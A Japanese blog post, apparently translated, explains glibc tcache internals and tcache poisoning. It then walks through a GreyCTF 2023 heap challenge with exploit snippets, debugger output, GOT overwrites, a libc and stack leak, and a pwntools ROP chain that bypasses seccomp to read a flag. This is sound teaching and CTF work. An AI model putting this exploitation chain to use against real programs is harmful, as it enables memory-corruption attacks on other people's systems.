banner
raye~

Raye's Journey

且趁闲身未老,尽放我、些子疏狂。
medium
tg_channel
twitter
github
email
nintendo switch
playstation
steam_profiles

一文でtcacheキャッシュポイズニングを理解する

文章首发于 https://xz.aliyun.com/t/12600

tcache 结构分析#

Tcache(スレッドキャッシュ)は、glibc(GNU C ライブラリ)が 2.26 バージョンから導入した機能で、メモリ割り当てのパフォーマンスを向上させることを目的としています。tcache では、各スレッドが独自のキャッシュを持ち、スレッド間の排他制御やロックの競合を減らすことができます。

デフォルトでは、サイズが 1032(0x408)バイト以下のチャンクは tcache に格納されます。

割り当てと解放:プログラムが malloc 操作を行うとき、まず tcache に利用可能なチャンクがあるかどうかを確認し、あればそれを直接返します。同様に、free 操作を行うとき、チャンクのサイズが要件を満たし、対応する tcache bin がまだ満杯でない場合(デフォルトでは各 bin に 7 つのチャンクを格納できます)、チャンクは tcache に格納されます。そうでなければ、元のプロセスに従って、unsorted bin または他の bin に格納されます。

データ構造:Tcache のデータ構造は主に配列であり、各要素は単方向リストのヘッドノードです。配列のインデックスはチャンクのサイズに対応しており、i 番目の要素はサイズが (i+1)*16 のチャンクのリストに対応しています。リスト内の各ノードは空いているチャンクであり、ノードの最初のフィールドには次のノードへのポインタが格納されています。

tcache のメモリ内データ構造の概略図は以下の通りです:

+----+    +------+     +------+
| 0  | -> | chunk| --> | chunk| --> NULL
+----+    +------+     +------+
| 1  | -> NULL
+----+ 
| 2  | -> | chunk| --> NULL
+----+    +------+
| .. | 
+----+
| n  | -> | chunk| --> | chunk| --> | chunk| --> NULL
+----+    +------+     +------+     +------+

了解 tcache poisoning#

まず、キャッシュポイズニングの基本的な攻撃の考え方を見てみましょう。核心となるコードは以下の通りです:

size_t stack_var; // 目標のポイズンアドレス

intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);

b[0] = (intptr_t)&stack_var;  // tcache poisoning !

intptr_t *c = malloc(128);

assert((long)&stack_var == (long)c); // この時点でスタックアドレス &stack_var に対する読み書き制御権を取得しました

次に、各段階でのヒープメモリのレイアウトの変化を見ていきます。

  1. 2 つのチャンクを連続して割り当て、解放します。この時、解放されたチャンクは tcache によって管理されます。
intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330

free(a);
free(b);

この時のヒープメモリのレイアウトを確認します。

tcache のリストはスタックのように見え、LIFO の原則に従います。

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x5555555592a0 // 後でtcache_entry構造体を説明します
  1. 上記のメモリレイアウトに基づき、同じサイズのtcacheがリストによって管理されます。ポインタの指向を変更します(後で分析します)、tcache のリストのポインタがスタック上のアドレスを指すようにします。
size_t stack_var; // addr: 0x7fffffffe508
b[0] = (intptr_t)&stack_var; 

この時、tcache_entry[7]の指向を観察します。

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x555555559330 --> 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x555555559320(freed) )
  1. tcache の割り当てを 1 回行います。この時、以前に解放された b チャンクを取得します。

この時の tcache はすでに

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555593b0 (size : 0x20c50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](1): 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )
  1. 2 回目の tcache の割り当てを行います。本来ここでは以前の a チャンクを取得するはずですが、tcacheの指向がすでに変更されているため、スタック上のアドレスに対して読み書きの機会を得ることができます。

DraggedImage

その原理を詳しく調べるには、glibc の対応するソースコードから始める必要があります:

ソースコードレベルでの tcache の分析#

tcache のデータ構造は以下の通りです:

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

tcache_entry構造体は本質的に単方向リストのポインタであり、tcache_perthread_structはすべてのtcacheエントリを格納し、countsを使用して各tcacheリストの数を記録します。

tcache poisoning脆弱性は 2 つの関数に関連しています:

  • 割り当て関数 tcache_get
    • 対応するtcache_entryテーブル項目を見つける
    • リストのヘッドノードを取り出して返す
  • 回収関数 tcache_put
    • チャンクを強制的にtcache_entry構造体に変換する
    • ヘッド挿入法で対応するtcache_entryテーブル項目に挿入する
      本質的に、リストを使用してスタック構造を実現しています。
static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]); // 対応するtcacheの数を1減少させる
  return (void *) e;
}
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx]; // ヘッド挿入法で新しいチャンクを挿入
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

重要なのはこの行のコードです:

tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

chunk2memのマクロは次のようになっています。すなわち、チャンクポインタを後方に移動してユーザーデータ領域を指すようにします。

/* Convert a chunk address to a user mem pointer without correcting
   the tag.  */
#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))

そして重要なのは、コード内で強制的に変換され、tcache_entry構造体に変換されることです。これは、ユーザーデータの最初の 8 バイト(64 ビット)がtcacheの next ポインタを格納していることを意味します。

つまり、next ポインタを直接変更することができ、任意のアドレスに書き込む機会を得ることができます。したがって、tcacheの利用はfastbinよりも実際には簡単です。

例題分析#

題目のソースコードと exp はここで見つけることができます https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook

main 関数#

main 関数の主な機能:

  1. 著者の署名を入力
  2. secure_libraryを呼び出してseccompを設定
  3. write_bookプログラムの主な機能
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts("Welcome to the library of hopes and dreams!");
  puts("\nWe heard about your journey...");
  puts("and we want you to share about your experiences!");
  puts("\nWhat would you like your author signature to be?");
  printf("> ");
  LODWORD(author_signature) = ' yb';
  __isoc99_scanf("%12s", (char *)&author_signature + 3);
  puts("\nGreat! We would like you to write no more than 10 books :)");
  puts("Please feel at home.");
  secure_library();
  write_books();
  return puts("Goodbye!");
}

write_books#

write_books関数の機能は次のように要約されます:

  • 1337 は与えられた割り当てブロックのアドレスを漏らすことができる
  • 1 新しい本を追加
  • 2 本を編集
  • 3 本を削除
unsigned __int64 write_books()
{
  int choice; // [rsp+0h] [rbp-10h] BYREF
  int fav_num; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      __isoc99_scanf("%d", &choice);
      getchar();
      if ( choice != 1337 )
        break;
      if ( !secret_msg )
      {
        printf("What is your favourite number? ");
        __isoc99_scanf("%d", &fav_num);
        if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )
          printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);
        secret_msg = 1;
      }
LABEL_19:
      puts("Invalid choice.");
    }
    if ( choice > 1337 )
      goto LABEL_19;
    if ( choice == 4 )
      return v3 - __readfsqword(0x28u);
    if ( choice > 4 )
      goto LABEL_19;
    switch ( choice )
    {
      case 3:
        throw_book();
        break;
      case 1:
        write_book();
        break;
      case 2:
        rewrite_book();
        break;
      default:
        goto LABEL_19;
    }
  }
}

write_book#

書棚に本を挿入し、本の尾部に著者の署名とマジックナンバーを書き込みます。

本のチャンクのサイズは入力された内容 + 0x10 であり、書籍構造体の size フィールドに格納されます。

unsigned __int64 write_book()
{
  int idx2; // ebx
  _QWORD *v1; // rcx
  __int64 v2; // rdx
  int idx; // [rsp+4h] [rbp-4Ch] BYREF
  size_t size; // [rsp+8h] [rbp-48h]
  char buf[32]; // [rsp+10h] [rbp-40h] BYREF
  char v7; // [rsp+30h] [rbp-20h]
  unsigned __int64 v8; // [rsp+38h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to insert your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )
  {
    puts("Invaid slot!");
  }
  else
  {
    --idx; // 書棚の番号
    memset(buf, 0, sizeof(buf));
    v7 = 0;
    puts("Write me a book no more than 32 characters long!");
    size = read(0, buf, 0x20uLL) + 0x10; // 0x20バイトの内容を読み込み、さらに尾部の0x10バイトを加算
    idx2 = idx;
    slot[2 * idx2] = malloc(size);
    memcpy(slot[2 * idx], buf, size - 0x10);
    v1 = (char *)slot[2 * idx] + size - 0x10; // ユーザーデータの尾部を指す
    v2 = qword_4040D8;
    *v1 = *(_QWORD *)author_signature; // 著者の署名とマジックナンバーを書き込む
    v1[1] = v2;
    books[idx].size = size; // ここに問題があり、後でbooks[idx].sizeを取得する際に0x10を引く必要がある
    puts("Your book has been published!\n");
  }
  return v8 - __readfsqword(0x28u);
}

rewrite_book 脆弱性ポイント#

本を編集しますが、ここで入力できる内容は books[idx].size であり、これは実際には 0x10 の内容を超えて入力できる(oob、すなわち範囲外)ため、チャンクのオーバーラップを実現します(前述の分析により、ユーザーデータの長さは実際には books[idx].size - 0x10 です)。

unsigned __int64 rewrite_book()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  int idx; // [rsp+Ch] [rbp-14h] BYREF
  ssize_t v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to rewrite your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )
  {
    --idx;
    puts("Write me the new contents of your book that is no longer than what it was before.");
    v4 = read(0, slot[2 * idx], books[idx].size); // 標準入力からbooks[idx].sizeバイトをslot[2*idx]に読み込む
    v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);
    v1 = qword_4040D8;
    *v0 = author_signature;
    v0[1] = v1;
    puts("Your book has been rewritten!\n");
  }
  else
  {
    puts("Invaid slot!");
  }
  return v5 - __readfsqword(0x28u);
}

throw_book#

本を削除し、free関数を呼び出します。

unsigned __int64 throw_book()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to throw your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )
  {
    free(slot[2 * --v1]);
    slot[2 * v1] = 0LL;
    puts("Your book has been thrown!\n");
  }
  else
  {
    puts("Invaid slot!");
  }
  return v2 - __readfsqword(0x28u);

解題思路分析#

問題には明らかな脆弱性が存在し、oob を利用してオーバーラップを実現できます。

tcache poisoningを利用#

計算してみましょう、tcache poisoningをどのように実現するか。

  1. まず、2 つの tcache が必要です。前述の例を参照してください(1 つの tcache がポインタの指向を変更するために必要です)。
  2. 次に、チャンクポインタを直接変更することはできない(前述の例ではソースコード内で直接変更できるため)ので、オーバーラップを実現するためにもう 1 つのチャンクが必要です。
  3. 最後に、オーバーラップを達成するために、前に 1 つのブロックが必要で、oob オーバーフローを実現します。

malloc チャンク#

4 つのチャンクを連続して割り当てます。4 つのチャンクの目的は次の通りです:

  1. chunk1 ヒープベースアドレスを漏らす + oob で chunk2 をオーバーライド
  2. chunk2 chunk3 の next ポインタを変更し、tcache poisoningを実現
  3. chunk3 next ポインタを通じて書き込み可能なメモリを取得
  4. chunk4 0x40 tcache の充填に使用

DraggedImage-1

chunk1 oob でオーバーラップ#

  1. chunk1 を変更し、oob で chunk2 のサイズを変更します。
  2. chunk4 を解放し、0x40 tcache に充填します。
  3. chunk2 のサイズが 0x40 に変更され、chunk3 とオーバーラップします。
  4. chunk2 の内容を変更し、chunk3 の next ポインタをオーバーライドします。

DraggedImage-2

libc ベースの漏洩#

books 構造体のアドレスは固定されており、アドレスは 0x4040e0 です。各 book 構造体の前の 0x8 バイトにはこの本のサイズが格納され、さらに 0x8 バイトにはこの本のチャンクアドレスが格納されます。

DraggedImage-3

任意のアドレスを書き込むことができると、0x4040e0というヒープブロックに対して内容を書き込むことができ、再度rewrite_bookを利用して GOT テーブルをハイジャックし、libc base addrを漏洩させることができます。

私たちが書き込む内容は:

    edit(1, pwn.flat([
            # 1==
            0xff, # sz
            exe.sym.stdout, # target
            # 2==
            0x8, # sz
            exe.got.free, # target
            # 3==
            0x8, # sz
            exe.sym.secret_msg, # target
            # 4==
            0xff, # sz
            exe.sym.books # target
        ] + [0] * 0x60, filler = b"\x00"))

メモリレイアウトを観察します:

pwndbg> x/40gx 0x4040e0
0x4040e0 <books>:       0x00000000000000ff      0x00000000004040a0
0x4040f0 <books+16>:    0x0000000000000008      0x0000000000404018
0x404100 <books+32>:    0x0000000000000008      0x00000000004040c0
0x404110 <books+48>:    0x00000000000000ff      0x00000000004040e0
0x404120 <books+64>:    0x0000000000000000      0x0000000000000000
0x404130 <books+80>:    0x0000000000000000      0x0000000000000000
0x404140 <books+96>:    0x0000000000000000      0x0000000000000000
0x404150 <books+112>:   0x0000000000000000      0x0000000000000000
0x404160 <books+128>:   0x0000000000000000      0x0000000000000000
0x404170 <books+144>:   0x0000000000000000      0x0000000000000000

この時点で、私たちは次のように理解できます:

  • 最初の本のメモリアドレスは 0x4040a0(実際にはこれは stdout の got テーブルです)で、サイズは 0xff
  • 2 番目の本のメモリアドレスは 0x404018(実際にはこれは free の got テーブルです)で、サイズは 0xff
  • 3 番目の本のメモリアドレスは 0x4040c0(実際にはこれは secret_msg のアドレス)で、サイズは 0x8
  • 4 番目の本のメモリアドレスは 0x4040e0(実際にはこれは sym.books のアドレスで、再度書き込むのに便利です)で、サイズは 0xff

したがって、free の got テーブルをハイジャックしてstdout@gotエントリを印刷し、確定したオフセットを通じてlibc base addrを漏洩させることができます。

    # free@got => puts
    edit(2, b"".join([
            pwn.p64(exe.sym.puts)
        ]))

DraggedImage-4

ROP による seccomp の回避#

プログラムにはseccomp保護があり、readwriteopenexitのみが許可されています。

したがって、私たちは ROP をスタックに書き込むことでフラグを読み取る必要があります。まず、スタックフレームを計算します。

環境変数のアドレスを漏洩させてスタックフレームを計算します(注意:第 4 本の本は以前に自身を指すように設定したため、繰り返し編集できます)。

    # leak stack (environ)
    edit(4, pwn.flat([
            # 1==
            0xff, # sz
            libc.sym.environ # target
        ], filler = b"\x00"))

スタックフレームアドレス:すなわち、この関数を呼び出した後の ret アドレスです。

DraggedImage-5

スタックフレームアドレスを取得した後、pwntoolsの自動 ROP モジュールを使用して実現します。

rop = pwn.ROP(libc, base=stackframe_rewrite)

# スタックフレームへの書き込みを設定
edit(4, pwn.flat([
        # 1==
        0xff, # sz
        stackframe_rewrite # target
    ], filler = b"\x00"))

# ROPチェーン
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # ファイルディスクリプタbf ...
rop.call(rop.find_gadget(["syscall", "ret"]));

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # 書き込み
rop.call(rop.find_gadget(["syscall", "ret"]));
rop.exit(0x1337);
rop.raw(b"/flag\x00");

EXP デバッグ#

ヒープメモリのレイアウトのため、アドレスは異なる可能性があります。ここでは、あるデバッグプロセスを記録します:

4 つのチャンクを割り当てる#

Book の構造は次の通りです:

DraggedImage-6

4 つのチャンクのレイアウト

DraggedImage-7

oob#

    # chunk2 => sz extended
    edit(1, b"K"*0x20)

この時、chunk2 のサイズはすでに変更されています。

DraggedImage-8

tcache poisoning#

この時、tcache3の next ポインタはすでに変更されています。

DraggedImage-9

任意のアドレス書き込み#

tcache poisoningを利用して books の構造を変更し、レイアウトは次のようになります。これにより、tcache poisoningの利用が完了しました。

DraggedImage-10

参考#

how2heap/tcache_poisoning.c at master · shellphish/how2heap · GitHub

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。